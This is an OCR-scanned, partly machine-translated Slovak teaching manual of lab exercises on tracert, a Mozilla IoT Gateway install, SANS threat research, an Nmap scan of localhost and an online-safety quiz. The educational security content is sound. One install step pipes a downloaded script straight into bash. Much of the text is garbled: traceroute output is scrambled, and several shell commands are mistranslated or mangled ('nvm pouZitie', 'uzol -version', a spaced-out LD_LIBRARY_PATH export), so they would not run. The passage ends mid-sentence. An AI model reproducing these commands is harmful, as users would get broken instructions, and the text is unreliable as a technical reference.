43 ms ms 0.50-4-0-2.XT2.NYC4.ALTER.NET [152.63.1.57]

45 ms 0.50-3-2-0.XL4.EWR6G.ALTER.NET [152.63.17.109]

46 ms mns s TenGigEG-5-0-0.GW8.EWRG.ALTER.NET [152.63.21.14]

1.

.2

- OUINE—=WN —

8 45 ms mns a23-1-144-170.deploy.akamaitechnologies.com [23.
1.144.170]

Trace complete.

1. Pravym tla¢idlom mysi kliknite na nazov okna prikazového riadka a vyberte polozku Upravit>
Vybrat vsetko.

2. Opat kliknite pravym tlac¢idlom mysi na zahlavie prikazového riadka a zvolte Upravit> Kopirovat.

3. Otvorte program Windows Notepad: lkona Start systému Windows> Vietky programy>
Prislusenstvo> Poznamkovy blok.

4. Ak chcete vloZit vystup do programu Poznamkovy blok, vyberte Upravy> Prilepit.

Vyberte Subor> Ulozit ako a uloZte stibor Poznamkovy blok na pracovni plochu ako tracertl.txt.

6. Spustite tracert pre kazdu ciefovi webovu stranku a uloZte vystup do sekvencne ocislovanych
suborov.

o

C: \> tracert www.afrinic.net

C: \> tracert www.lacnic.net
7. Interpretacia vystupov tracertu.

Zistené trasy mozu prejst mnozstvom zariadeni (skokov) a mnozZstvom réznych poskytovatelov
internetovych sluzieb (ISP). VSetko v zavislosti od velkosti Vasho poskytovatela internetovych sluzieb a
od umiestnenia zdrojového a cielového hostitela. Kazdy "hop" predstavuje sietové zariadenie (napriklad
smerovac). Smerovac je Specializovany typ pocitaca, ktory slizZi na riadenie navstevnosti po internete.

Predstavte si cestovanie autom v niekolkych krajinach s pouzitim mnohych dialnic. Na r6znych miestach
sa dostanete na Useky na ceste, v ktorych mate moznost vybrat si z niekolkych réznych dialnic
(odbocovacie pruhy).
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Teraz si dalej predstavte, Ze na kazdom mieste rozdelenia na ceste je zariadenie, ktoré Vas nasmeruje,
aby ste odbocili spravne na potrebnu cestu do Vasej cielovej destinacie. To router robi pre pakety v sieti.

Ked?Ze pocitace hovoria v Cislach, nie v slovach, smerovace su jednoznacne identifikované pomocou
adries IP (Cisla s formatom x.x.x.x). Nastroj tracert Vam ukaze, akou cestou cez siet Vas paket cestoval, az
kym nedosiahol konecny ciel. Tracert je nastroj, ktory Vam tiez dava predstavu o tom, aky rychla je
prenost dat na kazdom segmente siete. Tri pakety sa posielaju na kazdy uzol na ceste a meria sa ¢as
navratu odpovede v milisekundach.

Vo vyssie uvedenom priklade vystupu sa tracertové pakety pohybuju od zdrojového PC k miestnemu
smerovacu oznacovanému aj ako predvolend brana (hop 1: 192.168.1.1) smerovacu POP (Point of
Presence) ISP (hop 2: 10.18.20.1). Kazdy ISP ma mnoZstvo POP smerovacov. Tieto smerovace POP sl na
okraji siete ISP a su to prostriedky, ktorymi sa zdkaznici pripdjaju k internetu.

Pakety prechadzaju po sieti Verizon pre dva skoky a potom pokracuju na router, ktory patri k alter.net.
To by mohlo znamenat, Ze pakety cestuju do siete iného poskytovatela internetovych sluzieb. Je to
dolezité, pretoze pri prechode medzi poskytovatelmi internetovych sluZieb niekedy dochdadza k strate
paketov alebo niekedy jeden ISP je pomalsi ako druhy. Ako by sme mohli urcit, ¢i je alter.net iny ISP
alebo rovnaky ISP?

Existuje internetovy nastroj znamy ako whois. Tento nastroj umoznuje urcit, kto vlastni doménu.
Webovy nastroj Whois sa nachadza na adrese http://whois.domaintools.com/. Tato doména je tiez vo
vlastnictve Verizon podla webového néstroja whois.

Pre zhrnutie, komunikacia za¢ina na domdacom pocitaci a cestuje cez domaci smerovac (hop 1). Potom sa
pripdja k ISP a cestuje cez svoju siet (chmel 2-7), kym sa nedostane na vzdialeny server (hop 8). Ide o
pomerne neobvykly priklad, v ktorom je od zaciatku aZ do konca zapojeny iba jeden ISP. Zvycajne sa pri
internetovej komunikacii objavuju situdcie, kedy sa zapojili dvaja alebo viaceri poskytovatelia
internetovych sluZieb, ako su zobrazené v nasledujucich prikladoch.
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:\>tracert www.afrinic.net

racing route to www.afrinic.net [196.216.2.136]
over a maximum of 30 hops:

3

1 ms
39 ms
40 ms
97.182]
44 ms

dslrouter . westell.com [192.168.1.1]
10.18.20.1
G4-0-0-2204.ALBYNY-LCR-02.verizon-gni.net [130.8

s 8
(]

1.

=5
o

s0-5-1-1-0.NY325-BB-RTR2.verizon-gni.net [130.81

=

0.50-4-0-0.XT2.NYCH.ALTER.NET [152.63.9.249]
0.ae4 .BR3.NYC4.ALTER.NET [152.63.16.185]
te-7-3-0.edge2.NewYork2.level3 . net [4.68.111.13

N
-~ OUINE~~WN —
=
(2]
O oo
3
O o0

=
=]

vlanS1.ebr1.NeuwYork2.Level3.net [4.69.138.222]
ae-3-3.ebr2.Washingtonl.Level3.net [4.69.132.89]

ae-42-42.ebr2.Parisl.Level3.net [4.69.137.
ae-46-46.ebr1 .Frankfurtl.Level3.net [4.69.

ae-91-91.csw4 . Frankfurtl.Level3.net [4.69.
ae-92-92.ebr2 . Frankfurtl.Level3.net [4.69.
ae-23-23.ebr2.Londonl .Level3.net [4.69.148.193]
ae-58-223.csw2.London! .Level3 . net [4.69.153.138]
ae-227-3603.edge3.Londonl .Level3.net [4.69.166.1
195.50.124 .34

168.209.201.74

cswi-pkl-gil-1.ip.isnet.net [196.26.0.101]
196.37.155.180

fal-0-1.ar02. jnb.afrinic.net [196.216.3.132]
196.216.2.136
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C:\>tracert www.lacnic.net

Tracing route to www.lacnic.net [200.3.14.147]
over a maximum of 30 hops:

5 {1 ms dslrouter.westell.com [192.168.1.1]
38 37 10.18.20.1
39 ms G3-0-9-2204.ALBYNY-LCR-02.verizon-gni.net [130.§

42 ms s$0-5-1-1-0.NY325-BB-RTR2.verizon-gni.net [130.81

47 0.ae2.BR3.NYCH4.ALTER.NET [152.63.16.49]

56 204.255.168.194
ge-1-1-0.100.9gwl.gc.registro.br [159.63.48.38]
xe-5-0-1-0.corel.gc.registro.br [200.160.0.174]

WO-NOUINE~-~WN -

O oo

E]

xe-4-0-0-0.core2.nu.registro.br [200.160.0.164]

aef-0.ar3.nu.registro.br [200.160.0.249]
gw02.lacnic.registro.br [200.160.0.213]
200.3.12.36

200.3.14.147

Otazky a Ulohy na zamyslenie

1) Existuju vizualiza¢né nastroje pre grafické zobrazenie vystupov prikazov ping a tracert?
2) Co je pri¢inou, ak sa v odpovediach zobrazia hviezdi¢ky?
3) Ako vyzera vystup, ak je po ceste zapojeny firewall?

Odporucané zdroje

[1] Ping - https://en.wikipedia.org/wiki/Ping (networking utility)

[2] Traceroute - https://en.wikipedia.org/wiki/Traceroute
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CVICENIE S20-CV1: Mozilla loT Gateway

Kfucoveé slova
loT gateway, Mozilla, Raspberry Pl

Vystup cvicenia

Pomocou Raspberry Pl a Mozilla frameworku si vytvorenavlastna loT branu (angl. gateway) pre

jednoduché monitorovanie a riadenie loT senzorov a aktuatorov.
Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B Vytvorit 1oT branu pre loT snimace a zariadenia.
B Vytvorit systém pre kontrolu a riadenie loT snimacov a zariadeni.
B Pristupovat k loT zariadeniam prostrednictvom webového rozhrania.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomécky:

Raspberry Pl 3,

bootovatelny OS,

SD karta,

zakladna LAN infrastruktura,
lubovolné snimace a aktuatory.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

zaklady prace s operacnym systémom,

znalost prace s prikazovym riadkom,

zaklady sietovej a webovej komunikacie,

zaklady skriptovania a spravy operacnych systémov.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Objasnit studentom, aky koncept sa bude podas cvi¢enia preberat, aké si jeho mozZnosti pre

prototypovanie v praxi.

2) Studentom vysvetlite zakladny postup instaldcie a konfiguracie systému Mozilla IoT Gateway.
3) Zvolte si skupinu snimacov, ktoré budete pripajat k Mozilla IoT Gateway a nasledne ich budete

cez webové rozhranie ovladat.
4) V spolupréci so studentmi vypracujte zadanie nizsie.
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Teoreticky Uvod

= POZNAMKA!

Podrobnosti o 10T protokoloch a sietiach najdete kapitole 5, pripadne v odporicanych zdrojoch
na konci tohto dokumentu.

Zadanie

Vytvorte s pomocou Mozilla loT Gateway, systém, ktory umozni kontrolu a riadenie IoT snimacov
a aktuatorov cez webové rozhranie.

Realizacia cviCenia
Pre realizaciu cvicenia s pomocou Mozzila loT Gateway mate dve mozZnosti:

1. Stiahnut si predpripraveny systém (Odporddéany).
2. Vykonat manudlnu instalaciu systému (Pre pokrocilych).

Sposob 1: predpripraveny systém
Systém si mozete stiahnut predpripraveny na URL adrese:

https://github.com/mozilla-iot/gateway/releases/download/0.6.0/gateway-0.6.0.img.zip

Tento system nasledne rozbalte na SD kartu napriklad vyuZitim nastroja Rufus a pripravte z neho
bootovatelny operacny systém pre Raspberry Pl.

Sposob 2: vlastna instalacia systému

1. Nainstalujte OS pre Raspberry PI.
2. Aktualizacia vyrovnavacej pamate balikov.

sudo apt-get update
3. Nainstalujte pkg-config.
sudo apt-get install pkg-config

4. Nainstalujte curl.

sudo apt-get install curl
5. Instaldcia nvm (odporuca sa),

nvm Vam umozniuje lahko instalovat rozne verzie Node. Instalacia nvm:
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$ curl-
https://raw.githubusercontent.com/creationix/nvm/v0.33.8/install.sh |
bash

Opétovne inicializujte relaciu terminalu.

$. ~ / .Bashrc

PouZite nvm na instalaciu poslednej stabilnej verzie Node, a potom ho nastavte na predvolenu
verziu.

$ nvm install

$ nvm pouZitie

$ nvm alias default $ (node -v)

Overte, Ci bol nainstalovany Node a npm:

$ uzol -version

v8.12.0

$ npm --version

6.4.1

Doinstalujte potrebné kniznice pre komunikaciu s perifériami:

$ sudo apt-get install libboost-python-dev libboost-thread-dev
libbluetooth-dev libglib2.0-dev

$ sudo apt-get install libusb-1.0-0-dev libudev-dev
$ sudo apt-get install autoconf

sudo apt-get install libpngl2-0

sudo apt-get install git

sudo apt-get install build-essential

apt install python-pip

apt install python3-pip

“w» v »n v »n »

pip3 install git+https://github.com/mycroftai/adapt#egg=adapt-
parser

$ apt install firefox

$ apt install openjdk-8-jre

Zbuildujte potrebné baliky pre openzwave.
$ cd

$ git clone https://github.com/OpenZWave/open-zwave.git
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$ cd open-zwave

$ CFLAGS=-D_GLIBCXX USE_CXX1l ABI=0 make && sudo CFLAGS=-
D_GLIBCXX USE_CXX1l ABI=0 make install

$ sudo ldconfig

Poznamka: Mozno budete musiet ru¢ne pridat cestu /usr/local/lib do premennej systémového
prostredia LD_LIBRARY_PATH pridanim nasledujiceho stuboru ~/.profile, tymto prikazom:

export LD LIBRARY PATH = / usr / local / 1lib /: $ LD_LIBRARY PATH

MozZete to spustit aj na prikazovom riadku, takZe akcia ma okamzity G¢inok. Po spusteni prikazu
by ste mali spustit sudo ldconfig znova, aby ste sa uistili, Ze prebehla zmena konfiguracie.

Stiahnite si framework Mozilla loT Gateway:

$ cd

$ git clone https://github.com/mozilla-iot/gateway.git
$ cd gateway

$ npm start

Vlozte http: // localhost: 8080 do Vasho webového prehliadaca (alebo pri vzdialenom nacitani
pouZite adresu IP servera). Potom nastavte doménu a zaregistrujte sa podla pokynov na webovej
stranke. Po dokonceni tohto procesu mozZete do svojho webového prehliadaca nadcitat
https://localhost:4443 (alebo pri vzdialenom naéitani pouZivat adresu IP servera).

Pri prvom spusteni brany funguje ako WiFi hotspot vysielajuci nazov siete (SSID) "Mozilla loT Gateway".
K tejto brane mbzete pripojit svoj laptop alebo smartphone, ktory by Vas automaticky nasmeroval na
stranku s nastavenim. Pripadne mdzete pripojit Raspberry Pi priamo do svojej siete pomocou kabla
sietového kabla a do prehliadaca zadajte gateway.local, aby ste zacali proces instalacie.

Welcome

Connect to a WiFi network?
WiFi_TEST_1
WiFi_TEST_2

WiFi_TEST_3

moz://a
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Potom budete vyzvani, aby ste zvolili jedine¢nu subdoménu brany, ktora automaticky vygeneruje
certifikat SSL pre Vas pomocou nastroja LetsEncrypt a vytvori bezpecny tunel na internete, aby ste mohli
vzdialene pristupovat k brane. Budete poZiadani o e-mailovi adresu, aby ste mohli v buducnosti ziskat
potvrdenie pre svoju subdoménu. MozZete sa tieZ rozhodnut pouZit svoj vlastny ndzov domény, ak
nechcete pouzivat tunelovu sluzbu, ale musite si vygenerovat svoj vlastny SSL certifikat a nakonfigurovat
DNS sami.

Welcome

Choose a secure web address for your gateway:

moz://a

Potom budete bezpecne presmerovani do novej subdomény a budete vyzvani, aby ste vytvorili svoj
uzivatelsky ucet na brane.

Welcome
Create your first user account:
Name
Email
Password
Confirm Password

Next

moz://a
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Potom budete automaticky prihlaseni do brany a budete pripraveni zacat pridavat zariadenia.
Upozorriujeme, Ze webové rozhranie brany je progresivna webova aplikacia, ktori mézete pridat na
uvodny displej Vasho smartfénu pomocou aplikacie Firefox.

No devices yet. Click + to scan for available devices.

moz://a

Pridavanie loT zariadeni

Ak chcete do brany pridat zariadenia, kliknite na ikonu "+" v pravom dolnom rohu obrazovky. Tym sa
vsSetky pripojené adaptéry prepnu do reZzimu parovania. Postupujte podla pokynov pre jednotlivé
zariadenia, aby ste ich sparovali s branou (¢asto to zahfna stlacenie tlacidla na zariadeni, ked' je brana v
rezime pdarovania).

Zariadenia, ktoré sa Uspesne sparovali s branou, sa objavia na obrazovke pridania zariadenia a pred
uloZzenim na branu im mdzete dat meno podla vlastného vyberu.

I,

< Scanning for new devices...

Zigbee Smart Plug Save

Save

Pridané zariadenia sa nasledne objavia na hlavnej obrazovke:
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%) %)

Zigbee Smart Plug Z-Wave Smart Plug

moz://a

MozZete zapnut a vypnut vietky veci jedinym klepnutim alebo kliknutim na tladidlo rozsirenia, prejdete
na rozsirené zobrazenie vSetkych vlastnosti veci. Napriklad inteligentna zastrcka ma vypinac a hlasi svoju
aktualnu spotrebu, napatie, pruad a frekvenciu.

Otazky a ulohy na zamyslenie

1) Aké dalSie zaujimavé vlastnosti je mozné nakonfigurovat v Mozilla loT Gateway?
2) Ako je mozné pristupovat k Udajom z Mozilla IoT Gateway cez externu aplikaciu?

Odporucané zdroje

[1] Mozilla loT Gateway - https://iot.mozilla.org/gateway/

[2] Mozilla loT Gateway tutorial —

https://hacks.mozilla.org/2018/02/how-to-build-your-own-private-smart-home-with-a-raspberry-pi-
and-mozillas-things-gateway/
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CVICENIE S21-CV1: Prieskum bezpe&nostnych hrozieb

Kfd¢ové slova
bezpecnostné hrozby, SANS, malware, zmierfiovanie rizika, zabezpecenie
Vystup cvicenia

Zoznamit sa s inStititom SANS. Poznat format a Struktiru databazy kyberentickych Utokov, chyb a
zranitelnosti. Schopnost najst, identifikovat kli¢éové informacie o bezpecnostnych chybach a hrozbach,
navrhnut adekvatne protiopatrenia na zaklade odpordéani institatu SANS.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

Prehladat internetové zdroje venované kybernatickej bezpecnosti.

Identifikovat aktudlne kybernetické hrozby a utoky.

Identifikovat aktudlne objavené chyby a bezpecnostné zranitelnosti aplikacii a systémov.
Urcit opatrenia pre zmiernenie alebo odstranenie rizika napadnutia.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B internetové pripojenie,
B softvér pre tvorbu prezentacii.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B schopnost vyhladavania informacii,
B kriticka analyza informacii,
B prezentacné schopnosti.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Spolocne so Studentmi si prejdite webovu stranku SANS institatu. Identifikujte kl'icové infromacie
aich Strukturu.

3) V spolupraci so studentmi prepocitajte nizSie uvedené cvicenia v troch fazach.

4) V prvej faze prejdite na webovu stranku SANS a identifikujte relevantné zdroje informacii.

5) V druhej faze identifikujte niekolko nedavnych hrozieb zabezpecenia siete pomocou stranky
SANS.
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6) V tretejfaze sivyberte a podrobne sSpecifikujte konkrétnu hrozbu siete.

7) Identifikujte alternativne webové lokality mimo siete SANS, ktoré poskytuju informacie o hrozbe
bezpecnosti siete.

8) V zavere odprezentujte svoje vysledky vyskumu triede.

Teoreticky uvod

Na obranu siete pred Utokmi musi spravca uréit vonkajsie hrozby, ktoré predstavuji nebezpecéenstvo pre
jeho siet. Bezpeénostné webové stranky je mozné pouiit na identifikdciu novych hrozieb a poskytnutie
moznosti zmiernovania a komplexnej obrany siete.

Jeden z najoblubenejsich a najdoveryhodnejsich webovych stranok na ochranu pred pocitacovymi a
sietovymi bezpecnostnymi hrozbami je SysAdmin, audit, siet, bezpeénost (SANS). Stranka SANS
poskytuje viacero zdrojov, vratane zoznamu top 20 kritickych bezpeénostnych kontrol pre efektivnu
kybernetickl obranu a tyZdenny@Risk: Vystrazny bulletin. Tento spravodaj informuje o novych
sietovych Utokoch a zranitelnych miestach.

V tomto cviéeni sa budete pohybovat a preskimavat stranky SANS a jej vyuZitim sa pokusite
identifikovat aktudlne bezpeénostné hrozby pre siete.

Realizacia cvicenia
Uloha 1

Aké kategdrie informacnych zdrojov je mozné najst na strankach SANS? Vyberte si 3 pre Vas
najzaujimavejsie:

Najdite prvych 20 kritickych bezpecnostnych kontrol.

Dvadsat kritickych bezpeénostnych kontrol pre Gcinni kybernetick( obrana uvedenych na webovej
stranke SANS je vyvrcholenie verejno-sukromného partnerstva zahfiajiceho Ministerstvo obrany,
Zdruzenie pre narodnu bezpedénost, Centrum pre internetovu bezpecnost (CIS) a institat SANS. Tento
zoznam zranitelnosti bol vyvinuty s ciefom zvysit bezpecnost systémov prostrednictvom kontrol chyb a
zranitelnosti.

V ponuke Zdroje vyberte polozku Top 20 kritickych bezpecnostnych kontrol.

Vyberte jeden z 20 prvkov v zozname a popiste priklady troch ndvrhov implementacie.
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Uloha 3

Preskimajte najnovsie hrozby pre bezpecnost siete pomocou stranky SANS a identifikujte iné stranky,
ktoré obsahuju informacie o bezpecnostnych hrozbach. Najdite archiv Newsletter archivu @Risk:
Security Consensus Alert.

Na stranke Spravodajov vyberte moznost Archiv pre @RISK: Security Consensus Alert. Prejdite nadol na
Cisla archivov a vyberte najnovsi tyZdenny bulletin. Precitajte si najnovsie bezpecnostné problémy a
Najrozsirenejsie sibory Skodlivého softvéru. Vymenujte niektoré nedavne Utoky. Ak je to potrebné,
prehliadnite niekolko aktudlnych bulletinov.

Identifikujte stranky poskytujice najnovsie informacie o bezpecnostnych hrozbach. Okrem stranky SANS
identifikujte aj niektoré dalsie webové stranky, ktoré poskytuju najnovsie informacie o bezpecnostnych
hrozbach.

Uloha 4

V tejto Casti budete skiimat konkrétny sietovy Utok, ku ktorému doslo a vytvorite prezentéciu zalozenu
na zistenych informaciach. Na zaklade Vasich zisteni vypliite nizsie uvedeny formular.

Nazov utoku:

Typ utoku:

Datum utoku:
Pocitaée/dotknuté organizacie:

Ako to funguje a ako sa to prejavuje:
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Prezentacia
B Odprezentujte vybrany kyberneticky utok, jeho charakteristiku a moznosti ochrany pred nim.
Otazky a ulohy na zamyslenie

1. Aké kroky mo6zete podniknut na ochranu Vasho poditaca?
2. Aké su niektoré délezité kroky, ktoré mdzu organizacie podniknut na ochranu svojich zdrojov?

Odporucané zdroje

[1] SANS Institat - https://en.wikipedia.org/wiki/SANS Institute

[2] SANS - https://www.sans.org/
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CVICENIE S22-CV1: Detekcia zranitefnosti

Kfucoveé slova
skenovanie portov, Nmap, sietova mapa
Vystup cvicenia

S pouzitim nastroja Nmap oskenovat sietové porty konkrétnej stanice. Identifikovat aktualne spustené
sluzby.
Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B Pracovat s virtualizovanym systémom.
B Otestovat koncové zariadenie z pohladu zabezpedenia portov.
B Identifikovat slabé miesta bezpecnosti portov.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B virtualny systém (VirtualBox),
B operacny systém Linux,
(https://static-course-assets.s3.amazonaws.com/CyberEss/files/Ubuntu CyberEss.ova)

B nastroj Nmap,
B dalsie koncové stanice v sieti.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady prace s operacnym systémom Linux,
B zaklady sietovej komunikacie.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny princip zberu dat pred hackerskym tGtokom.

3) Studentom vysvetlite zakladny princip skenovanie sietovych portov alebo celej siete.

4) V spolupraci so studentmi prepocitajte nizsie uvedené cvicenie.
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Teoreticky Uvod

Nmap je open source nastroj pouZivany na prehfadavanie siete a audit bezpecnosti koncovych zariadeni.
Administratori vyuZivaju sluzbu Nmap na monitorovanie koncovych stanic alebo spravu planov
aktualizacii. Nmap dokaze identifikovat, ktoré hostitel'ské pocitace su aktualne pripojené v sieti, aké
sluzby maju spustené, aké operacné systémy na nich bezZia a aké paketové filtre alebo brany firewall su
spustené.

POZNAMKA!

Podrobnosti o skenovani siete najdete v kapitole 6.3 — 6.5, alternativne v zdrojoch uvedenych
na konci tohto dokumentu. .

Realizacia cvicenia
Uloha 1

Nacitajte stiahnuty obraz operacného systému do VirtualBoxu. Prihlaste sa do systému a spustite
aplikaciu NMap pre skenovanie koncovych zariadeni v sieti. Oskenujte vlastny systém cez localhost
(127.0.0.1)

RieSenie

Vo Virtualboxe prejdite do nastaveni pre UloZisko, naéitajte do prazdného IDE kontroléru ISO obraz
operacného sytému.

E3 Windows 7 - Settings

= General Storage
System
Display Storage Tree Attributes
@ storage @ IDE Controller | co/ovD Drive: | IDEPrimar| ¥ | @«
Audi
B Audio O Empty | | Information
@ Network & SATA Controller Type: - 3
¢ serial Ports windows 7.vdi 2 e
& uss Location: -
& shared Folders :
Attached To: -

D@ @

Do systému sa prihlaste cez prihlasovacie udaje
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Login>cisco
Heslo>password.
Po prihlaseni do operacného systému spustie terminalové okno kde zadate prikaz:

namp localhost

isco@ubuntu:~S$S nmap localhost

Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-03 22:43 PDT
Nmap scan report for localhost (127.0.6.1)

ost is up (0.000044s latency).

Not shown: 998 closed ports

PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet

map done: 1 IP address (1 host up) scanned in 0.11 seconds
isco@ubuntu:~$

Z vystupu analyzujte, aké porty su na systéme otvorené?

Zadajte rovnaky prikaz v rozSirenom formate ako administrator systému:
sudo nmap -sU localhost

cisco@ubuntu:~$ sudo nmap -sU localhost
[sudo] password for cisco:

Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-03 22:47 PDT
Nmap scan report for localhost (127.0.6.1)
Host is up (0.0000030s latency).
Not shown: 997 closed ports
STATE SERVICE
open|filtered dhcpc
open|filtered ipp
5353/udp open|filtered zeroconf

Nmap done: 1 IP address (1 host up) scanned in 2.72 seconds
cisco@ubuntu:~$ l

Z vystupu analyzujte, aké porty su na systéme otvorené?
Ako sa zmenil vystup v porovnani s obycajnym spustenim (nie ako administrator systému)?

Pre ziskanie detailného vystupu o verziach beziacich sluzieb sa pouziva prikaz:

nmap -sV localhost
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cisco@ubuntu:~S nmap -sV localhost

Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-03 22:53 PDT
Nmap scan report for localhost (127.0.0.1)

Host is up (0.000045s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntul (Ubuntu Linux; protocol 2.0)
23/tcp open telnet Linux telnetd
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds

Otazky a Ulohy na zamyslenie

1) Ako by sa dali jednotlivé informacie beZiacich sluzbach a otvorenych portoch zneuzit pre
napadnutie systému?
2) Aké vysledky by ziskal Nmap, ak by skenoval stanicu, na ktorej beZi softvérovy firewall?

Odporucané zdroje

[1] NMap - https://nmap.org/

[2] Port scanner - https://en.wikipedia.org/wiki/Port scanner

[3] Skenovanie portov - https://nmap.org/man/sk/man-port-scanning-basics.html
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CVICENIE S23-CV2: Audit spravania sa v online svete

Kfd¢ové slova
socialne siete, hesld, online ucty, audit, bezpecénost
Vystup cvicenia

Preskiimana vlastnacinnosti online, ktord méze ohrozit Vasu bezpecnost alebo sikromie. Spoznate
chyby a nedostatky, ktoré ohrozuju Vasu bezpecnost v online svete.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B Ziskate obraz o Urovni svojho online spravania.
B Spoznate mozZnosti zvySenia bezpecnosti v online svete.

VyZadované technické pomocky
Pre Uspesnu realizaciu cvienia nie su potrebné Ziadne pomocky.
Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia nie si potrebné Ziadne Specidlne znalosti.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Popiste zdkladné typy utokov a ochrany voci tymto Gtokom.

3) V spolupraci so studentmi vypracujte priloZzené testové otazky. Bodové hodnotenie odpovedi im
neposkytujte, aby nedoslo k skresleniu vysledkov.

4) Po vyplneni testov je vhodna skupinova diskusia a reflexia Studentov na ich vysledky testu.

5) V spolupraci so studentmi prepocitajte nizSie uvedené cvicenie.

Teoreticky Uvod
Internet je nebezpecné prostredie a musite byt ostraZiti, aby ste zabezpecili, Ze Vase data nebudu

ohrozené. Uto¢nici su kreativni a budu sa pokusat roznymi technikami ziskat pristup k Vasim systémom,
heslam ¢i identite.
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Podrobnosti o vstupoch a vystupoch ndjdete v kapitole 6.4., pripadne v odporucanych zdrojoch
uvedenych na konci tohto cvicenia.

S pEEEEEEEEEEERET

Realizacia cvicenia

Uloha 1:

Odpovedzte na nizsie uvedené otazky. Kazda otazka je bodovana. Na konci je potrebné ziskané body
spocitat a ziskate tak prehlad o Vasej ostrazitosti v online svete.

1. Aké informacie zdiel'ate na socidlnych médiach?

a)

b)
c)
d)

Vsetko,spolieham sa na socialne média, aby som udrZiaval kontakt s priatelmi a rodinou.
Déverujem v bezpecénost socidlnych médii.(3 body)

Clanky a spravy, ktoré najdem alebo ¢&itam. (2 body)

Zalezi; Vyfiltroval som, ¢o zdiefam a s kym som sa s nimi podelil. (1 bod)

Ni¢; Nepouzivam socialne média. (0 bodov)

2. Ked vytvorite novy ucet v sluzbe online:

a)
b)
c)

d)

e)

Znova pouZijete rovnaké heslo, ktoré pouzivate v inych sluzbach, aby ste si to mohli lahsie
zapamatat. (3 body)

Vytvorite ¢o najjednoduchsie heslo, aby ste si ho mohli zapamatat. (3 body)

Vytvorite velmi zloZité heslo a uloZite ho do sluzby spravcu hesiel. (1 bod)

Vytvorite nové heslo, ktoré je podobné, ale odlisné od hesla pouzivaného v inej sluzbe. (1
bod)

Vytvorite Uplne nové silné heslo. (0 bodov)

3. Ked dostanete e-mail s odkazmi na iné stranky:

a)

b)
c)
d)

Nekliknete na odkaz, pretoze nikdy nesledujete odkazy odoslané prostrednictvom e-
mailu. (0 bodov)

Kliknete na odkazy, pretoze e-mailovy server uz skenoval e-mail. (3 body)

Kliknete na vsSetky odkazy, ak e-mail pochadza od osoby, ktoru poznate. (2 body)

Pred kliknutim umiestnite kurzor mysi na odkazy a overte si ciefovd adresu URL. (1 bod)

4. Pocas navstevy webovej lokality sa zobrazi vyskakovacie okno. Uvadza, Ze vas pocitac je
ohrozeny a mali by ste stiahnite a nainstalovali diagnosticky program, aby bol Vas pocitac
bezpecny:

a)
b)

c)

Kliknete, stiahnete a nainstalujete program, aby bol vas pocitac v bezpedi. (3 body)
Skontrolujete vyskakovacie okna a umiestnite kurzor mysi nad odkaz, aby ste overili jeho
platnost. (3 body)

Ignorujte spravu, uistite sa, Ze na niu nekliknete, ani na stiahnutie programu a zatvorite
webové stranky. (0 bodov)
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5. Ak potrebujete sa prihlasit na webovu stranku finanénej institiciena vykonanie ulohy:
a) Okamtite zadate svoje prihlasovacie informacie do nacitanej stranky. (3 body)
b) Overite adresu URL a uistite sa, Ze ide o institlciu, ktoru ste hladali predtym, nez zadate
akékolvek informacie. (0 bodov)
c) Nepouzivate on-line bankovnictvo ani on-line financ¢né sluzby. (0 bodov)

6. Citali ste o programe a rozhodli ste sa ho vyskusat. Pozerate sa okolo internetu a najdete
skuSobnu verziu na nezndmom mieste:
a) Okamdtite si stiahnite a nainstalujte program. (3 body)
b) Predtym, neZ ho stiahnete, vyhladate dalsie informacie o tvorcovi programu. (1 bodov)
c) Nestahujete ani neinstalujete program. (0 bodov)

7. Najdete USB disk pri chodzi do prace:
a) Zdvihnete ho a pripojite ho do pocitaca a pozriete sa na jeho obsah. (3 body)
b) Zdvihnete ho a pripojéte ho do pocitaca, aby ste jeho obsah Uplne vymazali pred jeho
opatovnym pouzitim. (3 body)
c) Zdvihnite ho a pripojite ho do pocitaca, aby ste spustili antivirusovu kontrolu, skér ako ju
znova poufZijete pre svoje vlastné subory (3 body)
d) Nevezmete ho. (0 bodov)

8. Musite sa pripojit k internetu a najdete otvoreny hotspot Wi-Fi.:
a) Pripojte sa k nemu a pouZivate internet. (3 body)
b) Nepripdjate sa k nemu a budete hladat iny hotspot so Sifrovanym spojenim. (0 bodov)
c) Pripojite sa k nemu a zapnete si VPN na doveryhodny server pred odoslanim akychkolvek
informdcii. (0 bodov)

Vyhodnotenie tlohy 1:

Cim je Vase skére vyssie, tym je menej bezpeéné Vase online spravanie. Cielom je byt 100% bezpeény a
